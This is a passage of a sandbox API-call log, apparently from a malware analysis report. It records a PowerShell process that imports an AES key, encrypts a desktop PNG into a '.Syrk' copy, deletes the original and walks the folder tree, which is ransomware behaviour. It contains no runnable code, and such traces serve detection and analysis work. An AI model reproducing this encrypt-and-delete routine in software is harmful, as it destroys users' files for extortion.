MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a74) returned 0x0 [0202.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0202.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0202.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0202.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0202.784] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0202.784] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0202.784] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0202.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0202.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0202.784] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0202.784] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0202.784] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0202.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0202.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0202.785] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0202.785] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0202.785] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0202.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0202.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0202.785] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0202.785] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0202.785] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0202.785] EtwEventActivityIdControl () returned 0x0 [0202.785] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0202.785] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0202.786] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0202.786] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0202.787] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4cee0) returned 1 [0202.789] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x233a674*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c68e40) returned 1 [0202.790] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0202.790] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0202.790] EtwEventActivityIdControl () returned 0x0 [0202.791] EtwEventActivityIdControl () returned 0x0 [0202.791] EtwEventActivityIdControl () returned 0x0 [0202.796] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png")) returned 0x20 [0202.797] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png")) returned 0x20 [0202.797] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0202.797] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", lpFilePart=0x0) returned 0x25 [0202.797] EtwEventActivityIdControl () returned 0x0 [0202.798] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e698, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0202.798] EtwEventActivityIdControl () returned 0x0 [0202.798] EtwEventActivityIdControl () returned 0x0 [0202.798] EtwEventActivityIdControl () returned 0x0 [0202.802] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0202.802] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", lpFilePart=0x0) returned 0x25 [0202.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2d0) returned 1 [0202.803] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0202.803] GetFileType (hFile=0x45c) returned 0x1 [0202.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2cc) returned 1 [0202.803] GetFileType (hFile=0x45c) returned 0x1 [0202.803] EtwEventActivityIdControl () returned 0x0 [0202.804] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e698, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0202.804] EtwEventActivityIdControl () returned 0x0 [0202.804] EtwEventActivityIdControl () returned 0x0 [0202.804] EtwEventActivityIdControl () returned 0x0 [0202.805] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0202.805] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png.Syrk", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png.Syrk", lpFilePart=0x0) returned 0x2a [0202.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2d0) returned 1 [0202.805] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x344 [0202.808] GetFileType (hFile=0x344) returned 0x1 [0202.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2cc) returned 1 [0202.808] GetFileType (hFile=0x344) returned 0x1 [0202.808] EtwEventActivityIdControl () returned 0x0 [0202.808] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x234aa70 | out: pbBuffer=0x234aa70) returned 1 [0202.809] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0202.809] CryptDuplicateKey (in: hKey=0x5c68e40, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea98 | out: phKey=0x5a2ea98*=0x5c69440) returned 1 [0202.809] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0202.809] CryptSetKeyParam (hKey=0x5c69440, dwParam=0x4, pbData=0x234bee0*=0x1, dwFlags=0x0) returned 1 [0202.809] CryptSetKeyParam (hKey=0x5c69440, dwParam=0x1, pbData=0x234beac, dwFlags=0x0) returned 1 [0202.810] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e698, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0202.810] EtwEventActivityIdControl () returned 0x0 [0202.810] EtwEventActivityIdControl () returned 0x0 [0202.810] EtwEventActivityIdControl () returned 0x0 [0202.811] EtwEventActivityIdControl () returned 0x0 [0202.812] ReadFile (in: hFile=0x45c, lpBuffer=0x234eb48, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea9c, lpOverlapped=0x0 | out: lpBuffer=0x234eb48*, lpNumberOfBytesRead=0x5a2ea9c*=0x3d67, lpOverlapped=0x0) returned 1 [0202.813] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2362b60*, pdwDataLen=0x5a2ea90*=0x3d60, dwBufLen=0x3d60 | out: pbData=0x2362b60*, pdwDataLen=0x5a2ea90*=0x3d60) returned 1 [0202.813] WriteFile (in: hFile=0x344, lpBuffer=0x234abc0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2ea74, lpOverlapped=0x0 | out: lpBuffer=0x234abc0*, lpNumberOfBytesWritten=0x5a2ea74*=0x1000, lpOverlapped=0x0) returned 1 [0202.814] WriteFile (in: hFile=0x344, lpBuffer=0x2363b4c*, nNumberOfBytesToWrite=0x2d74, lpNumberOfBytesWritten=0x5a2ea74, lpOverlapped=0x0 | out: lpBuffer=0x2363b4c*, lpNumberOfBytesWritten=0x5a2ea74*=0x2d74, lpOverlapped=0x0) returned 1 [0202.815] ReadFile (in: hFile=0x45c, lpBuffer=0x234eb48, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea9c, lpOverlapped=0x0 | out: lpBuffer=0x234eb48*, lpNumberOfBytesRead=0x5a2ea9c*=0x0, lpOverlapped=0x0) returned 1 [0202.815] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2366934*, pdwDataLen=0x5a2eaf0*=0x10, dwBufLen=0x10 | out: pbData=0x2366934*, pdwDataLen=0x5a2eaf0*=0x10) returned 1 [0202.815] CryptEncrypt (in: hKey=0x5c69440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2366950*, pdwDataLen=0x5a2eaf8*=0x0, dwBufLen=0x10 | out: pbData=0x2366950*, pdwDataLen=0x5a2eaf8*=0x10) returned 1 [0202.815] WriteFile (in: hFile=0x344, lpBuffer=0x234abc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2eac8, lpOverlapped=0x0 | out: lpBuffer=0x234abc0*, lpNumberOfBytesWritten=0x5a2eac8*=0x10, lpOverlapped=0x0) returned 1 [0202.815] CloseHandle (hObject=0x344) returned 1 [0202.965] CloseHandle (hObject=0x45c) returned 1 [0202.965] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e698, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0202.966] EtwEventActivityIdControl () returned 0x0 [0202.966] EtwEventActivityIdControl () returned 0x0 [0202.966] EtwEventActivityIdControl () returned 0x0 [0202.971] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png")) returned 0x20 [0202.974] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0202.974] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", lpFilePart=0x0) returned 0x25 [0202.974] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0202.974] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0202.974] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0202.974] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0202.975] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0202.975] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0202.975] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0202.975] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0202.975] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0202.975] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0202.975] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0202.975] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0202.975] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0202.975] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0202.975] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0202.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0202.976] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png")) returned 0x20 [0202.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0202.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", lpFilePart=0x0) returned 0x25 [0202.978] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0202.978] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", lpFilePart=0x0) returned 0x25 [0202.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0202.978] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0202.978] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", lpFilePart=0x0) returned 0x25 [0202.979] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png\\*"), lpFindFileData=0x5a2e57c | out: lpFindFileData=0x5a2e57c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0202.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e53c) returned 1 [0202.979] CoTaskMemAlloc (cb=0x404) returned 0x38a6b8 [0202.979] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x38a6b8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0202.979] CoTaskMemFree (pv=0x38a6b8) [0202.982] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png")) returned 0x20 [0202.982] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0202.982] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png", lpFilePart=0x0) returned 0x25 [0202.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e494) returned 1 [0202.982] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png"), fInfoLevelId=0x0, lpFileInformation=0x237d310 | out: lpFileInformation=0x237d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3946470, ftCreationTime.dwHighDateTime=0x1d98e1b, ftLastAccessTime.dwLowDateTime=0x50ebd330, ftLastAccessTime.dwHighDateTime=0x1d99568, ftLastWriteTime.dwLowDateTime=0x50ebd330, ftLastWriteTime.dwHighDateTime=0x1d99568, nFileSizeHigh=0x0, nFileSizeLow=0x3d67)) returned 1 [0202.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0202.983] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png")) returned 1 [0202.988] EtwEventActivityIdControl () returned 0x0 [0202.989] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e698, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0202.989] EtwEventActivityIdControl () returned 0x0 [0202.989] EtwEventActivityIdControl () returned 0x0 [0202.989] EtwEventActivityIdControl () returned 0x0 [0202.995] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png.syrk")) returned 0x20 [0202.996] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png.syrk")) returned 0x20 [0202.996] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0202.996] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png.Syrk", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png.Syrk", lpFilePart=0x0) returned 0x2a [0202.996] EtwEventActivityIdControl () returned 0x0 [0202.996] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e6f0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0202.997] EtwEventActivityIdControl () returned 0x0 [0202.997] EtwEventActivityIdControl () returned 0x0 [0202.997] EtwEventActivityIdControl () returned 0x0 [0203.284] EtwEventActivityIdControl () returned 0x0 [0203.284] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e6f0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.284] EtwEventActivityIdControl () returned 0x0 [0203.284] EtwEventActivityIdControl () returned 0x0 [0203.285] EtwEventActivityIdControl () returned 0x0 [0203.287] EtwEventActivityIdControl () returned 0x0 [0203.288] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e6f0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.288] EtwEventActivityIdControl () returned 0x0 [0203.288] EtwEventActivityIdControl () returned 0x0 [0203.288] EtwEventActivityIdControl () returned 0x0 [0203.292] EtwEventActivityIdControl () returned 0x0 [0203.292] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e6f0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.293] EtwEventActivityIdControl () returned 0x0 [0203.293] EtwEventActivityIdControl () returned 0x0 [0203.293] EtwEventActivityIdControl () returned 0x0 [0203.296] EtwEventActivityIdControl () returned 0x0 [0203.296] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e6f0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.296] EtwEventActivityIdControl () returned 0x0 [0203.296] EtwEventActivityIdControl () returned 0x0 [0203.296] EtwEventActivityIdControl () returned 0x0 [0203.299] EtwEventActivityIdControl () returned 0x0 [0203.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dee4) returned 1 [0203.303] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bnnQ2Y.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\bnnq2y.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x238639c | out: lpFileInformation=0x238639c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5658a60, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf5658a60, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf567ebc0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x3d84)) returned 1 [0203.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dee0) returned 1 [0203.304] GetConsoleOutputCP () returned 0x1b5 [0203.305] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e60c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e60c) returned 0 [0203.305] GetConsoleOutputCP () returned 0x1b5 [0203.305] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e694, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e694) returned 0 [0203.305] GetConsoleOutputCP () returned 0x1b5 [0203.305] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0203.305] GetConsoleOutputCP () returned 0x1b5 [0203.305] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0203.305] GetConsoleOutputCP () returned 0x1b5 [0203.305] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e60c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e60c) returned 0 [0203.305] GetConsoleOutputCP () returned 0x1b5 [0203.306] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e694, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e694) returned 0 [0203.306] GetConsoleOutputCP () returned 0x1b5 [0203.306] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0203.306] GetConsoleOutputCP () returned 0x1b5 [0203.306] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0203.306] GetConsoleOutputCP () returned 0x1b5 [0203.306] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e60c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e60c) returned 0 [0203.306] GetConsoleOutputCP () returned 0x1b5 [0203.306] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e694, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e694) returned 0 [0203.306] GetConsoleOutputCP () returned 0x1b5 [0203.307] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0203.307] GetConsoleOutputCP () returned 0x1b5 [0203.307] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0203.307] GetConsoleOutputCP () 